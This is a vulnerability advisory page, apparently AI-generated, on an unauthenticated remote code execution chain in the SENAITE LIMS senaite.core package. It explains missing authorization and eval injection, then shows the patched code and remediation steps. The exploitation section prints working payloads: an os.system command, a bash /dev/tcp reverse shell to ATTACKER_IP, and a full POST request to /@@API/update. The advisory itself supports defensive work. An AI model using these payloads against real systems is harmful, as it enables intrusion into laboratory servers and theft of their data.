CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54569

CVE-2026-54569: Remote Code Execution via Missing Authorization and Eval Injection in senaite.core

Alon Barad
Alon Barad
Software Engineer

Aug 26, 2026·7 min read·40 visits

Executive Summary (TL;DR)

An unauthenticated remote attacker can execute arbitrary Python code on the server hosting SENAITE LIMS by chaining missing authorization on JSON API endpoints with unsafe eval operations on record fields.

SENAITE LIMS core framework (senaite.core) versions 2.0.0 through 2.6.0 contain a critical vulnerability chain that permits unauthenticated remote code execution. By combining a Missing Authorization flaw (CWE-862) in multiple JSON API endpoints with an Unsafe Evaluation flaw (CWE-95) during custom field deserialization, an attacker can execute arbitrary Python commands. This execution occurs under the privileges of the hosting Zope process, creating severe risk to laboratory systems, physical instrumentation databases, and host system integrity.

Vulnerability Overview

The SENAITE Laboratory Information Management System (LIMS) is an enterprise application designed to manage complex scientific laboratory workflows. At its core, the platform relies on senaite.core, a framework extending the Plone Content Management System and the Zope application server. This structure utilizes hierarchical object storage, custom field types, and an exposed JSON API wrapper mapped to the @@API view of the application.

The vulnerability is characterized by a two-stage exploit path. First, multiple state-changing endpoints in the JSON API fail to require authentication or correct authorizations, permitting an anonymous remote attacker to interact directly with internal configuration objects. Second, when these endpoints receive data meant for complex custom fields like RecordsField or RecordField, the application deserializes the values using an unsafe python evaluation mechanism.

This chain produces unauthenticated Remote Code Execution (RCE) on the host platform. Because the insecure parsing executes before Plone checks object-level mutation permissions, the payload runs even if the final database transaction is aborted. This renders traditional access control mechanisms completely ineffective against this threat.

Root Cause Analysis

To understand the root cause, the architecture of the SENAITE JSON API must be analyzed. In Plone, views are registered with specific Zope permissions. In affected versions of senaite.core, the general @@API interface was bound to the permissive zope2.View role. This configuration allows anonymous users to resolve and interact with API controllers.

While the create endpoint verified object-level permissions, several core modification endpoints did not check appropriate authorizations before performing resource operations. These functions mapped directly to endpoints such as /@@API/update, /@@API/remove, and /@@API/doActionFor. This lack of permission enforcement represents a classic Missing Authorization flaw (CWE-862).

Additionally, the application uses custom Archetypes and Dexterity fields to represent structured dictionary lists. These field implementations use RecordField and RecordsField classes to process records from JSON requests. When parsing strings representing dictionaries, the application invoked Python's native eval() function directly on user-provided input strings inside the API parsing path.

Because of Zope's transaction model, if a request performs unauthorized writes, the database state-change is discarded via transaction abort. However, the evaluation of the record fields happens during input deserialization, long before the transaction validation phase. As a result, the code execution step occurs unconditionally within the active worker thread, regardless of the transaction's ultimate failure and rollback.

Code Analysis

The code-level flaw resides primarily in the JSON API helper parsing file src/bika/lims/jsonapi/__init__.py. In this component, parameter parsing is performed in a loop over incoming request fields. The implementation specifically checks the field type name as a string and routes it to an evaluation block.

# Vulnerable code in senaite.core versions <= 2.6.0
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
                   'senaite.core.browser.fields.record.RecordField']:
    try:
        # CRITICAL VULNERABILITY: Raw input string is executed directly
        value = eval(value)
    except Exception:
        logger.warning(
            "JSONAPI: " + fieldname + ": Invalid "
        )

Similar eval() blocks are duplicated in the specific field classes. For example, in src/senaite/core/browser/fields/record.py, the dynamic setter logic includes code evaluating raw string parameters.

# Vulnerable code inside record.py's set method
if type(value) in StringTypes:
    try:
        # Unsafe evaluation occurs when setting record field values
        value = eval(value)

The mitigation introduced in commit a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 resolves this by discarding native evaluation in favor of the Python Abstract Syntax Tree literal parser. The new parsing module src/senaite/core/browser/fields/parsing.py safely decodes structural data.

# Patched parsing function using safe evaluation
import ast
 
def parse_record_literal(value, normalize_records=False):
    """Safely parse stringified record values without executing code.
    """
    if not isinstance(value, str):
        return value
 
    if normalize_records:
        value = value.replace('}\n', '},')
 
    # ast.literal_eval only processes primitive python structures, not code
    return ast.literal_eval(value)

In addition to parsing corrections, commit ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7 added robust security gates. These checks ensure that any request attempting to use the API first matches the restrictive AccessJSONAPI permission before any input processing or deserialization begins.

Exploitation Methodology

Exploitation requires a sequence of four phases: discovering a target resource ID, formulating an evaluation payload, executing the API call, and triggering command execution. The first phase utilizes predictable Plone site structures. The configuration object bika_setup is present on every SENAITE site, and its unique ID (UUID) can be resolved through public API metadata paths.

Once the UUID is obtained, the attacker designs an expression payload. Because the injection point is an evaluation block, it must be a single Python expression rather than sequence statements. The attacker bypasses this restriction by using Python's built-in __import__ function to load modules and invoke OS-level subshells.

# Arbitrary system command execution payload
__import__('os').system('id')
 
# Reverse shell callback payload
__import__('subprocess').getoutput('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')

In the third phase, the attacker targets the vulnerable endpoint /@@API/update via an unauthenticated POST request. The request payload contains the UUID of the target object alongside the injection parameter mapped to a field of type RecordsField, such as RejectionReasons.

POST /@@API/update HTTP/1.1
Host: target-senaite-lims.local
Content-Type: application/x-www-form-urlencoded
Connection: close
 
obj_uid=TARGET_BIKA_SETUP_UUID&RejectionReasons=__import__('os').system('touch /tmp/vulnerable')

When the application server processes this request, the JSON API router traverses to the bika_setup configuration object. It extracts the parameter RejectionReasons, recognizes the associated RecordsField class, and executes the payload inside the evaluation environment. The operating system command executes immediately, while the HTTP thread subsequently returns an authorization or schema validation error due to the database transaction failing.

Impact Assessment

The security impact of CVE-2026-54569 is classified as critical, with a CVSS v3.1 score of 9.8. Successful exploitation allows an unauthenticated network adversary to execute arbitrary system-level commands inside the context of the Zope application server worker. This compromise grants the attacker the same operational privileges as the daemon user hosting the service.

Because LIMS environments routinely store confidential experimental data, patient metadata, chemical recipes, or clinical diagnostics, an attacker can access the entire database. They can copy, modify, or permanently delete critical operational logs. Attackers can also access environment configurations containing third-party database passwords, remote LDAP credentials, and active Zope admin session cookies.

In many setups, the LIMS server resides on the same network subnet as actual laboratory instruments and physical machinery controllers. This positioning allows attackers to pivot laterally. They can use the compromised server as an internal launching point to disrupt physical processes, capture local network data, or attack adjacent administrative infrastructure.

Remediation and Mitigation

The definitive solution to remediate this vulnerability is to upgrade the senaite.core framework to version 2.7.0 or higher. This version integrates both patch commits, replacing the dangerous eval() blocks with secure ast.literal_eval() parsers and enforcing authentication requirements across all state-altering API methods.

If immediate version upgrades are not possible, administrators should apply hotfix patches by cherry-picking the specific security commits. Commit a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 secures the data parsing logic, and commit ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7 introduces the proper authorization check routines.

In scenarios where code modifications are restricted, operational workarounds must be deployed. Administrators can configure front-end reverse proxies, such as NGINX or HAProxy, or a Web Application Firewall (WAF) to restrict external access to any URIs containing /@@API/. Blocking these API patterns prevents unauthenticated external actors from interacting with the vulnerable endpoints.

# Example NGINX configuration block to restrict access to JSON API
location ~* /@@API/ {
    allow 192.168.1.0/24; # Restrict access to internal subnets
    deny all;
}

Additionally, security teams should enforce the principle of least privilege on the system level. The Zope process must be run as a non-privileged system user that does not possess sudo privileges, limiting the scope of any potential shell access.

Fix Analysis (2)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

SENAITE LIMS installations utilizing senaite.core versions 2.0.0 through 2.6.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
senaite.core
SENAITE
>= 2.0.0, <= 2.6.02.7.0
AttributeDetail
Vulnerability IDCVE-2026-54569
CWE IDCWE-95, CWE-862
Attack VectorNetwork
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Exploit Statuspoc
KEV Statusfalse

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1203Exploitation for Client / Server Execution
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-95
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Vulnerability Timeline

Pull Request #2903 merged: unsafe dynamic evaluation replaced with ast.literal_eval
2026-05-22
Pull Request #2919 merged: AccessJSONAPI authorization gates and tests implemented
2026-05-27
Official Security Advisory GHSA-jrw6-7x4q-w25j published
2026-08-26
CVE-2026-54569 assigned and published
2026-08-26

References & Sources

  • [1]Official GitHub Security Advisory
  • [2]Patch Commit - Code Evaluation Mitigation
  • [3]Patch Commit - Authorization Mitigations
  • [4]Pull Request #2903
  • [5]Pull Request #2919

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•44 minutes ago•CVE-2026-114132
6.3

CVE-2026-114132: Case-Sensitivity Route Rule Bypass in Nuxt Framework

Nuxt versions prior to 4.6.2 suffer from a route rule bypass vulnerability caused by an architectural mismatch in case-sensitivity handling between the Nitro server runtime and the Vue page router. An unauthenticated remote attacker can bypass server-enforced route directives—such as redirects, security headers, and SSR controls—by altering character casing in HTTP request paths.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 2 hours ago•GHSA-78G4-XQWV-Q3G8
7.5

GHSA-78G4-XQWV-Q3G8: Heap-Based Buffer Overflow in Pillow (libopenjp2)

A heap-based buffer overflow vulnerability in Pillow PyPI binary wheels (versions 11.1.0 to 12.x) allows remote code execution or application crash via crafted JPEG 2000 files processed by the bundled libopenjp2 library.

Alon Barad
Alon Barad
14 views•4 min read
•about 3 hours ago•CVE-2026-109618
9.8

CVE-2026-109618: Remote Code Execution in PHP Core via Out-of-Memory longjmp() Uninitialized Memory Access

CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.

Amit Schendel
Amit Schendel
10 views•5 min read
•about 3 hours ago•CVE-2026-109619
9.2

CVE-2026-109619: Remote Code Execution in PHP Core via Stale Global State Memory Corruption (PHP2Shell)

CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.

Alon Barad
Alon Barad
12 views•6 min read
•about 3 hours ago•CVE-2026-113721
4.5

CVE-2026-113721: Unsafe Link Resolution in virtualenv File Generation

In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.

Amit Schendel
Amit Schendel
4 views•5 min read
•10 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
31 views•5 min read